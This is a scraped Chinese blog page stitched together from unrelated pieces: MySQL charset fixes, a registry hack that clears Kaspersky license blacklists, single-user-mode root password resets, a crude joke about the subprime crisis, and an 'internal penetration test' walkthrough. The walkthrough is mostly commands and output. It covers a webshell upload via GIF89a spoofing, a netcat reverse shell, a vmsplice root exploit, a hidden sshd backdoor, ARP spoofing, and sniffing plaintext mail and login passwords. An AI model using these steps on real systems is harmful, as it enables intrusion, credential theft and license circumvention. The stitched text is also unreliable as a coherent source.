1.mysql数据库
      不知道为什么刚开始感觉字符集出现了问题，phpadmin中也出现乱码，说明字符集出席那问题了但我在phpmyadmin中把字段的字符集改成了utf8，但还是显示乱码，但在phpmyadmin中显示正常，说明数据库应该没问题。

2.php
      可能pager_wrapper_mdb2出现问题了，想到$mdb2->query("set names utf8")，师兄给我的例子是db的把db改成mdb2就行了，但还是出问题，捣鼓了好长时间也没捣鼓出来，网上搜了下有个方法是把数据库全删了，只有这样做了，在创建数据库的时候就选utf8_bin，好像是因为继承的问题，反正问题是解决了，有的可以告诉我

3.浏览器
      我发现一个问题，浏览器中看到的是乱码，但看了下原代吗，没问题，说明浏览器的字符集不对，好像加一条header("content-type:text/html; charset=utf8")能把这个问题解决

处理方法：
1：打开记事本将下面的内容复制并保存
Windows Registry Editor Version 5.00
[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\SPC\Certificates]
[-HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\LicStorage]
[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\RNG]
改记事本文件的后缀名.txt为.reg
如：KeyRemoval.txt改为KeyRemoval.reg
再双击(双击前一定要关掉卡巴的程序和监控)改后的文件*.reg导入注册表将卡巴的到期授权或列入黑名单授权清除(这样做的好处：例如某 KEY 到期了，你可以用这种方法重新再用)

2：打开卡巴显示无授权，再将你以前的授权导入，这样卡巴又可以用了！
本文来源于悠悠博客 http://www.ajaxstu.com/ , 原文地址：http://www.ajaxstu.com/archives/2909.html

没有实验,如果你实验了,麻烦回复下...

(一)RedHat/CentOS/Fedora 系统密码破解

1.在grub选项菜单按E进入编辑模式
2.编辑kernel 那行最后加上S (或者Single)
3.按B，启动到single-user mode
4.进入后执行下列命令
# mount -t proc proc /proc
# mount -o remount,rw /
#passwd
#sync
#reboot

(二)Debian linux 系统密码破解

1.在grub选项菜单'Debian GNU/Linux,...(recovery mode)'，按e进入编辑模式
2.编辑kernel那行最后面的 ro single 改成 rw single init=/bin/bash，按b执行重启
3.进入后执行下列命令
root@(none)#mount -a
root@(none)#passwd root
root@(none)#reboot

(三)Freebsd 系统密码破解

1.开机进入引导菜单
2.选择每项(按4)进入单用户模式
3.进入之后输入一列命令
root@#mount -a
root@#fsck -y
root@#passwd(修改密码命令)
root@#root(要破解密码的用户名)
Enter new unix password:
root@#init 6 (重启)

(四)Solaris 系统密码破解

1.在grub选项菜中选择solaris failasfe 项
2.系统提示Do you wish to have it mounted read-write on /a ?[y,n,?] 选择y
3.就进入单用户模式
4.输入下列命令:passwd
root@#init 6 (重启)

(五)NetBsd 系统密码破解

1.开机：当出现提示符号并开始倒数五秒时， 键入以下指令：
> boot -s (进入单用户模式命令)
2.在以下的提示符号中
Enter pathname of shell or RETURN for sh:
按下 Enter。
3.键入以下指令：
# mount -a
# fsck -y
4.使用 passwd 更改 root 的密码。
5.使用 exit 指令进入多人模式。

(六)SUSE 系统密码破解

1.重新启动机器，在出现grub引导界面后，在启动linux的选项里加上init=/bin/bash，通过给内核传递init=/bin/bash参数使得OS在运行login程序之前运行bash，出现命令行。
2.稍等片刻出现(none)#:命令行。
3.这时输入mount -n / -o remount,rw 表示将根文件系统重新mount为可读写，有了读写权限后就可以通过passwd命令修改密码了。
4.这时输入passwd命令就可以重置密码了
5.修改完成后记得用mount -n / -o remount,ro将根文件系统置为原来的状态

一男赶集卖猪，天黑遇雨，二十头猪未卖成，到一农家借宿。
少妇说：家里只一人不便。
男：求你了大妹子，给猪一头。
女：好吧，但家只有一床。
男：我也到床上睡，再给猪一头。
女：同意。
半夜男与女商量，我到你上面睡，女不肯。
男：给猪两头。
女允，要求上去不能动。
少顷，男忍不住，央求动一下，女不肯。
男：动一下给猪两头。女同意。
男动了八次停下，女问为何不动？
男说猪没了。
女小声说：要不我给你猪……
天亮后，男吹着口哨赶30头（含少妇家的10头）猪赶集去了……

哈佛导师评论：要发现用户潜在需求，前期必须引导，培养用户需求，因此产生的投入是符合发展规律的。

————————————————————————————————————————

另一男得知此事，决意如法炮制，遂赶集卖猪，天黑遇雨，二十头猪未卖成，到一农家借宿。
少妇说：家里只一人不便。
男：求你了大妹子，给猪一头。
女：好吧，但家只有一床。
男：我也到床上睡，再给猪一头。
女：同意。
半夜男商女，我到你上面睡，女不肯。
男：给猪两头。
女允，要求上去不能动。
少顷，男忍不住，央求动一下，女不肯。
男：动一下给猪两头。女同意。
男动了七次停下，女问为何不动？
男：完事了～
女：……
天亮后，男低着头赶2头猪赶集去了……

哈佛导师评论：要结合企业自身规模进行谨慎投资，谨防资金链断裂问题。

————————————————————————————————————————

又一男得知此事，决意如法炮制兼吸取教训，遂先用一头猪去换一粒伟哥。事毕，天亮后，男吹着口哨赶38头猪（含少妇家的18头）赶集去了……

哈佛导师评论：企业如果获得金融资本的帮助，自身经营能力将得到倍增。

————————————————————————————————————————

知道此法男增多，伟哥供不应求，逐渐要2头，3头猪换一粒伟哥。

哈佛导师评论：这就是通货膨胀。

————————————————————————————————————————

后来，16头猪才能换伟哥一粒。

哈佛导师评论：该男已经进入边际成本，除了拥有对自身能力的自信和未来良好愿望以外，实际现猪流已经为零。

————————————————————————————————————————

但换猪男越来越多，卖伟哥的决定，扩展生产能力，推出一种次级伟哥，如果你缺一头猪，只要你承诺可以到该女房中一夜，就可以先借，事成后补交猪款，这个方法大大促进了伟哥销售。

哈佛导师评论：这就是贷款，让企业可以根据未来的收益选择借支流动资金。

————————————————————————————————————————

伟哥专卖店后来在即使你一头猪都没有，只要你承诺可以到该女房中一夜，就可以先借，事成后补交猪款。

哈佛导师评论：这就是金融创新，让现在的人花未来的钱，反正等你老了未来的钱你也花不动。

————————————————————————————————————————

消息一出，换猪男越来越多，有人找伟哥专卖店，这个项目太好了，我们把它变成优质基金，对外销售债券，你们也就可以分享我的收益，如何？
结果伟哥专卖店觉得甚好，于是该公司把换猪男分三类，一类是拿现猪换的，一类是一部分现猪贷的，一类是完全没有现猪借的，发行三种债券。大家踊跃而上。纷纷购买伟哥专卖店的债券，伟哥专卖店生意太好，就把债券销售外包给另外一家公司运作，该公司也一并大发其财，公司越做越大，甚至可以脱离实际伟哥销售情况来发行，给自己和伟哥专卖店带来巨大的现金收益。

哈佛导师评论：这就是专业的人做专业的事，从实体经营到资本运作，经济进入了更高的层次。

————————————————————————————————————————

为了防止自己债券未来有损失，该公司决定给它买上保险，这样债券销售就更容易，因为一旦债券出现问题，还可以获得保险公司的赔付。哇，债券公司销售这下子太好了，保险公司也获得巨大平白无故的保险收入。

哈佛导师评论：这就是风险对冲，策略联盟，提高了企业的抗风险能力，也保护了消费者利益。

————————————————————————————————————————

换猪男太多，排长队等待，该女无法承受，说老娘不干了，我搬家，一时间有无数拥有伟哥的欠猪男。

哈佛导师评论：这是个别现象，属于市场的正常波动，不会影响整个经济。

————————————————————————————————————————

结果该女迟迟不肯搬回。一部分欠猪男没有收入，只好赖帐，结果大量债券到期无法换现猪吃，债券公司一看，一粒伟哥16头猪，这哪里还得起，宣布倒闭。

哈佛导师评论：这是次贷危机，不会影响整个金融行业。

————————————————————————————————————————

哪里晓得债券公司还把债卷上了保险，保险公司一看，这哪里赔得起，于是也宣布要倒闭。

哈佛导师评论：这是金融危机，还不会影响整个实体经济。

————————————————————————————————————————

来源：中国安全网
作者：vitter
blog：blog.securitycn.net

早就跟相关人员说过邮箱认证smtp和pop协议要做加密，否则在公司内网，太容易被人sniffer到明文密码了，另外邮箱密码和bbs公用，bbs也是采用的http协议，没有用https，这些都是问题。虽然我们控制的网络部分已经做过处理了，ip和mac地址做了绑定，即使有人做arp欺骗后，除非不出网关，否则欺骗后网络到达不了网关之外，因此嗅探明文邮箱密码已经不可能（由于邮箱服务器不在同一网段）。但是对于我们一些共用资源的服务器有公网ip和内网ip且处于一个相对风险较高，而且没有根据安全级别进行过相应的安全策略的网络环境内，因此一些问题是显而易见的，但是某些人根本不以为然。所以我进行了一次简单的内部渗透测试。

首先我从有公网ip和内网ip的网络段入手，如公网ip段是222.222.222.0/255.255.255.255，内网ip段192.168.0.0/255.255.255.0。

经过踩点发现222.222.222.77（192.168.0.77）上跑了一个老版本的某php的论坛。经过检测，存在上传漏洞，利用gif89a文件头欺骗漏洞上传webshell。然后上传个nst。
如图1



利用tools里面的反弹连接：
首先在本地用nc -l -p 5546监听端口
如图2



然后在nst上点Back connect
如图3（注意红色部分）



成功登陆，
如图4



图5



在本地nc的窗口操作：

id
uid=99(nobody) gid=99(nobody) groups=99(nobody)

权限低了点，可以利用前一段时间linux内核vmsplice本地提升权限漏洞。先用nst上传代码：
如图6：（注意红色部分，上传成功）



回到nc窗口：
cp in.c /tmp
cd /tmp
ls
in.c
nst_c_bc_c.c
sess_af927ee319af5d5569b61ac520e53fcf
ssh-ZeOfP16753
tunl0

gcc -o in in.c

ls
in
in.c
nst_c_bc_c.c
sess_af927ee319af5d5569b61ac520e53fcf
ssh-ZeOfP16753
tunl0

/tmp/in
bash: no job control in this shell
[root@bbs111 tmp]# id
uid=0(root) gid=0(root) groups=99(nobody)
[root@bbs111 tmp]#

已经是root权限了，下一步上传俺修改过的常用的后门，这个以前写过 一篇文章介绍如何留后门的，这里就不叙述了（替换sshd和部分命令，可隐藏端口、连接、文件、进程等）。

擦擦pp，进行下一步我们的重点。

我们还是直接用后门sshd登录。还是ssh舒服点：）
如图7：



在SecureCRT下利用rz命令上传我们用到的arpsniffer.c，然后编译：

[root@bbs111 root]# gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet

报错，可能是没装libnet的缘故，看说明Make: first you must install "pcap" and "libnet" 确定arpsniffer.c需要先装pcap和 libnet。

[root@bbs111 root]# rpm -ivh libnet-1.1.2.1-2.1.fc2.rf.i386.rpm
[root@bbs111 root]# wget http://downloads.sourceforge.net/libpcap/libpcap-0.8.1.tar.gz?modtime=1072656000&big_mirror=0
[root@bbs111 root]# tar zxvf libpcap-0.8.1.tar.gz
[root@bbs111 root]# cd libpcap-0.8.1
[root@bbs111 libpcap-0.8.1]# ./configure
[root@bbs111 libpcap-0.8.1]# make
[root@bbs111 libpcap-0.8.1]# make install

准备工作已经ok。下面重新编译arpsniffer.c

[root@bbs111 root]# gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet

这次没报错，编译成功。

[root@bbs111 root]# ./arpsniffer
====================================
============Arp Sniffer=============
==========Write by Paris-Ye=========
===Usage: ./arpsniffer -I [interface] -M [Self IP] -W [Workstation IP] -S [Server IP] -P [port]
===For example:
./arpsniffer -I eth0 -M 192.168.0.6 -W 192.168.0.4 -S 192.168.0.254

下面开始欺骗，由于是服务器端，因此我们欺骗网关：（网络环境如下，邮件服务器ip：192.168.0.11 网关：192.168.0.1 本机：192.168.0.77）

[root@bbs111 root]# ./arpsniffer -I eth0 -M 192.168.0.77 -W 192.168.0.1 -S 192.168.0.11 -P 110
110
110
Get network cards mac address:
M-> 00:0e:a6:a5:80:4f
W-> 00:0f:e2:23:05:d0
S-> 00:d0:b7:88:07:59

Now Start... .. .

在另一个登录里面用tcpdump监听下：

[root@bbs111 root]# tcpdump -i eth0 host 192.168.0.11

发现有数据，把监听的数据存在文件里面：

[root@bbs111 root]# tcpdump -i eth0 host 172.16.0.12 -w pop.txt

10分钟后停止，在SecureCRT下用sz命令下载pop.txt到本地，然后用Ethereal分析。果然发现明文用户名和密码。

下面我们就可以用linsniffer监听我们想要的用户名和密码了。
先修改linsniffer.c：根据自己的需求监听相应的应用密码。我的如下：

if(ntohs(tcp->dest)==21) p=1; /* ftp */
if(ntohs(tcp->dest)==22) p=1; /* ssh for comparison added for example only comment out if desired*/
if(ntohs(tcp->dest)==23) p=1; /* telnet */
if(ntohs(tcp->dest)==80) p=1; /* http */
if(ntohs(tcp->dest)==110) p=1; /* pop3 */
if(ntohs(tcp->dest)==513) p=1; /* rlogin */
if(ntohs(tcp->dest)==106) p=1; /* poppasswd */

[root@bbs111 root]# gcc -o linsniffer linsniffer.c
In file included from /usr/include/linux/tcp.h:21,
from linsniffer.c:32:
/usr/include/asm/byteorder.h:6:2: warning: #warning using private kernel header; include instead!

不用管警告，直接运行编译后的linsniffer即可。

[root@bbs111 root]# ./linsniffer

用户名和密码都自动存到了tcp.log下。如图8：



经过测试后，我们把某人的用户名和密码发给某人，相信他再不会想当然的说sniffer不可能了。下面我们利用我们嗅探到的密码做个密码表，进行新一轮进一步的内网渗透测试。相信在我们根据渗透测试结果，进行相关安全技术改造和安全管理规范制度改造后，我们的网络的安全性会大大提升。